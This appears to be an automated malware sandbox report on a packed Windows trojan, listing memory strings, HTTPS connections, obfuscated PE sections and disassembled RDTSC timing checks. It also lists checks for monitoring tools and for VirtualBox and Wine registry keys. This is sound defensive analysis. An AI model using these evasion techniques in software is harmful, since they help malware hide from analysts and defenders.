Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49731 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F50228	0_2_00F50228
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010DE10F	0_2_010DE10F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8A0D0	0_2_00F8A0D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F84040	0_2_00F84040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F52030	0_2_00F52030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F41000	0_2_00F41000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F471F0	0_2_00F471F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F4E1A0	0_2_00F4E1A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F45160	0_2_00F45160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011740C1	0_2_011740C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F412F7	0_2_00F412F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F782D0	0_2_00F782D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F712D0	0_2_00F712D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F723E0	0_2_00F723E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F4B3A0	0_2_00F4B3A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F413A3	0_2_00F413A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0111226B	0_2_0111226B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F4A300	0_2_00F4A300
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F764F0	0_2_00F764F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F5049B	0_2_00F5049B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F54487	0_2_00F54487
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F6C470	0_2_00F6C470
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011175D5	0_2_011175D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F5C5F0	0_2_00F5C5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F435B0	0_2_00F435B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0110846E	0_2_0110846E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F886F0	0_2_00F886F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F88652	0_2_00F88652
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F4164F	0_2_00F4164F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F7F620	0_2_00F7F620
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0104B69B	0_2_0104B69B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F7B8C0	0_2_00F7B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0110B958	0_2_0110B958
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F7E8A0	0_2_00F7E8A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01106977	0_2_01106977
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F71860	0_2_00F71860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01115812	0_2_01115812
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F889A0	0_2_00F889A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F6098B	0_2_00F6098B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F87AB0	0_2_00F87AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F88A80	0_2_00F88A80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F84A40	0_2_00F84A40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F47BF0	0_2_00F47BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE1B90	0_2_00FE1B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F5DB6F	0_2_00F5DB6F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F6CCD0	0_2_00F6CCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F86CBF	0_2_00F86CBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01113D71	0_2_01113D71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCCC3B	0_2_00FCCC3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F88C02	0_2_00F88C02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F68D62	0_2_00F68D62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F6DD29	0_2_00F6DD29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F6FD10	0_2_00F6FD10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F4BEB0	0_2_00F4BEB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F56EBF	0_2_00F56EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F88E70	0_2_00F88E70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F6AE57	0_2_00F6AE57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01112FA9	0_2_01112FA9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F54E2A	0_2_00F54E2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0110EE04	0_2_0110EE04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F48FD0	0_2_00F48FD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F87FC0	0_2_00F87FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F4AF10	0_2_00F4AF10

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00F4CAA0 appears 48 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00F5D300 appears 152 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9996067966171617
Source: file.exe	Static PE information: Section: ryuwegqh ZLIB complexity 0.9933804898648648

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@10/2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F78220 CoCreateInstance,

0_2_00F78220

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 31%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static file information: File size 1875456 > 1048576

Source: file.exe

Static PE information: Raw size of ryuwegqh is bigger than: 0x100000 < 0x1a0400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.f40000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ryuwegqh:EW;azhotthl:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ryuwegqh:EW;azhotthl:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d7469 should be: 0x1cf956

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ryuwegqh
Source: file.exe	Static PE information: section name: azhotthl
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010DE10F push ebx; mov dword ptr [esp], ecx	0_2_010DE12D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010DE10F push ebp; mov dword ptr [esp], edx	0_2_010DE204
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010DE10F push 4665DC95h; mov dword ptr [esp], ebx	0_2_010DE21D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010DE10F push 631F6C3Ah; mov dword ptr [esp], edi	0_2_010DE22E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A3139 push 2E8BD5BBh; mov dword ptr [esp], esi	0_2_011A3170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A3139 push 270E6400h; mov dword ptr [esp], ecx	0_2_011A3250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01194120 push edi; mov dword ptr [esp], ebp	0_2_0119413B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01190123 push ebx; mov dword ptr [esp], edx	0_2_011900B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01190123 push ebx; mov dword ptr [esp], edi	0_2_01190111
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01190123 push edx; mov dword ptr [esp], eax	0_2_0119014D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011F8191 push edi; mov dword ptr [esp], edx	0_2_011F819B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011451E5 push esi; mov dword ptr [esp], 66E86856h	0_2_01145214
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01139031 push esi; mov dword ptr [esp], ebx	0_2_011390B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BE09B push ebp; mov dword ptr [esp], edx	0_2_011BE09F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0115C081 push edi; mov dword ptr [esp], ecx	0_2_0115C09D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0115C081 push ebx; mov dword ptr [esp], eax	0_2_0115C0A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0115C081 push edx; mov dword ptr [esp], eax	0_2_0115C0F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0115C081 push ebp; mov dword ptr [esp], edi	0_2_0115C183
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AF0B4 push 48F8BFC8h; mov dword ptr [esp], ecx	0_2_011AF0BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011DC0AD push 7D0F375Fh; mov dword ptr [esp], ecx	0_2_011DC130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011EE0DC push ebp; mov dword ptr [esp], 3C5A2C1Fh	0_2_011EE19F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011740C1 push 5F1E93DBh; mov dword ptr [esp], ebp	0_2_0117411A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011FB348 push 23884100h; mov dword ptr [esp], ebx	0_2_011FB371
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01150377 push 75A31EB2h; mov dword ptr [esp], eax	0_2_011503B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01150377 push ecx; mov dword ptr [esp], 7BFBE620h	0_2_011503CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01150377 push 612D1885h; mov dword ptr [esp], ebx	0_2_01150431
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BF373 push 10941C74h; mov dword ptr [esp], eax	0_2_011BF38E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BF373 push edx; mov dword ptr [esp], 55E7C5B0h	0_2_011BF731
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01127389 push eax; mov dword ptr [esp], 777B8B11h	0_2_01127409
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8F242 push edx; ret	0_2_00F8F24B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119F3D6 push 35D8F446h; mov dword ptr [esp], ebx	0_2_0119F409

Source: file.exe	Static PE information: section name: entropy: 7.9863056505821985
Source: file.exe	Static PE information: section name: ryuwegqh entropy: 7.952621387551496

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA43F7 second address: FA43FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA43FB second address: FA3D2C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 ja 00007FB884CB2347h 0x0000000e stc 0x0000000f push dword ptr [ebp+122D0FF9h] 0x00000015 pushad 0x00000016 or dh, 00000039h 0x00000019 add dword ptr [ebp+122D1BAAh], ebx 0x0000001f popad 0x00000020 call dword ptr [ebp+122D26C7h] 0x00000026 pushad 0x00000027 jmp 00007FB884CB234Eh 0x0000002c clc 0x0000002d xor eax, eax 0x0000002f add dword ptr [ebp+122D17E2h], ecx 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 pushad 0x0000003a mov ebx, esi 0x0000003c mov dl, bl 0x0000003e popad 0x0000003f mov dword ptr [ebp+122D3C17h], eax 0x00000045 jmp 00007FB884CB2356h 0x0000004a mov esi, 0000003Ch 0x0000004f jnp 00007FB884CB2352h 0x00000055 jne 00007FB884CB234Ch 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f jmp 00007FB884CB2356h 0x00000064 lodsw 0x00000066 jmp 00007FB884CB234Bh 0x0000006b add eax, dword ptr [esp+24h] 0x0000006f pushad 0x00000070 mov edx, 29713272h 0x00000075 mov bl, al 0x00000077 popad 0x00000078 mov ebx, dword ptr [esp+24h] 0x0000007c mov dword ptr [ebp+122D1A88h], ecx 0x00000082 push eax 0x00000083 push eax 0x00000084 push edx 0x00000085 push eax 0x00000086 jmp 00007FB884CB2350h 0x0000008b pop eax 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3D2C second address: FA3D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB88452E0B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DB3F second address: 111DB49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB884CB2346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DB49 second address: 111DB4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FA51 second address: FA3D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 add dword ptr [esp], 7B4947E7h 0x0000000d mov edi, 1AE8369Fh 0x00000012 push dword ptr [ebp+122D0FF9h] 0x00000018 mov dword ptr [ebp+122D17C5h], esi 0x0000001e call dword ptr [ebp+122D26C7h] 0x00000024 pushad 0x00000025 jmp 00007FB884CB234Eh 0x0000002a clc 0x0000002b xor eax, eax 0x0000002d add dword ptr [ebp+122D17E2h], ecx 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 pushad 0x00000038 mov ebx, esi 0x0000003a mov dl, bl 0x0000003c popad 0x0000003d mov dword ptr [ebp+122D3C17h], eax 0x00000043 jmp 00007FB884CB2356h 0x00000048 mov esi, 0000003Ch 0x0000004d jnp 00007FB884CB2352h 0x00000053 jne 00007FB884CB234Ch 0x00000059 add esi, dword ptr [esp+24h] 0x0000005d jmp 00007FB884CB2356h 0x00000062 lodsw 0x00000064 jmp 00007FB884CB234Bh 0x00000069 add eax, dword ptr [esp+24h] 0x0000006d pushad 0x0000006e mov edx, 29713272h 0x00000073 mov bl, al 0x00000075 popad 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a mov dword ptr [ebp+122D1A88h], ecx 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 push eax 0x00000084 jmp 00007FB884CB2350h 0x00000089 pop eax 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FB35 second address: 111FB79 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007FB88452E0B6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 65C08C13h 0x00000013 call 00007FB88452E0C9h 0x00000018 mov edx, esi 0x0000001a pop edi 0x0000001b lea ebx, dword ptr [ebp+1244F994h] 0x00000021 or di, CF1Ah 0x00000026 push eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jno 00007FB88452E0B6h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FD77 second address: 111FE02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jno 00007FB884CB2346h 0x0000000d pop esi 0x0000000e popad 0x0000000f nop 0x00000010 mov si, ax 0x00000013 push 00000000h 0x00000015 mov edi, dword ptr [ebp+122D1AA1h] 0x0000001b push 9DCF1296h 0x00000020 pushad 0x00000021 jmp 00007FB884CB234Eh 0x00000026 push edx 0x00000027 push edx 0x00000028 pop edx 0x00000029 pop edx 0x0000002a popad 0x0000002b add dword ptr [esp], 6230EDEAh 0x00000032 xor ecx, 1F6B8C7Dh 0x00000038 push 00000003h 0x0000003a call 00007FB884CB234Eh 0x0000003f cld 0x00000040 pop ecx 0x00000041 push 00000000h 0x00000043 mov cl, 6Ch 0x00000045 push 00000003h 0x00000047 push 00000000h 0x00000049 push eax 0x0000004a call 00007FB884CB2348h 0x0000004f pop eax 0x00000050 mov dword ptr [esp+04h], eax 0x00000054 add dword ptr [esp+04h], 00000019h 0x0000005c inc eax 0x0000005d push eax 0x0000005e ret 0x0000005f pop eax 0x00000060 ret 0x00000061 push edx 0x00000062 mov edx, dword ptr [ebp+122D1AA6h] 0x00000068 pop edi 0x00000069 push BDBF9B04h 0x0000006e pushad 0x0000006f pushad 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FE02 second address: 111FE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140752 second address: 114075A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11408B4 second address: 11408B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140A18 second address: 1140A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140A1E second address: 1140A3C instructions: 0x00000000 rdtsc 0x00000002 js 00007FB88452E0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB88452E0C2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140DE5 second address: 1140DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140DEA second address: 1140DF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FB88452E0B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140DF4 second address: 1140DF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140DF8 second address: 1140E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB88452E0B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB88452E0C7h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140E22 second address: 1140E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11343AD second address: 11343EF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FB88452E0C5h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jnl 00007FB88452E0B6h 0x00000016 push esi 0x00000017 pop esi 0x00000018 jne 00007FB88452E0B6h 0x0000001e popad 0x0000001f push ecx 0x00000020 jmp 00007FB88452E0C0h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11343EF second address: 11343F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141677 second address: 114167F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114167F second address: 11416AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB884CB2346h 0x0000000a jo 00007FB884CB2346h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 jmp 00007FB884CB234Fh 0x00000018 pushad 0x00000019 js 00007FB884CB2346h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141816 second address: 114183A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB88452E0C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FB88452E0BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114183A second address: 114188D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FB884CB2359h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB884CB2358h 0x00000014 jmp 00007FB884CB2358h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B441 second address: 110B459 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB88452E0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007FB88452E0BEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1148F18 second address: 1148F1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A545 second address: 114A54A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A54A second address: 114A582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007FB884CB2351h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jmp 00007FB884CB2356h 0x0000001a popad 0x0000001b rdtsc
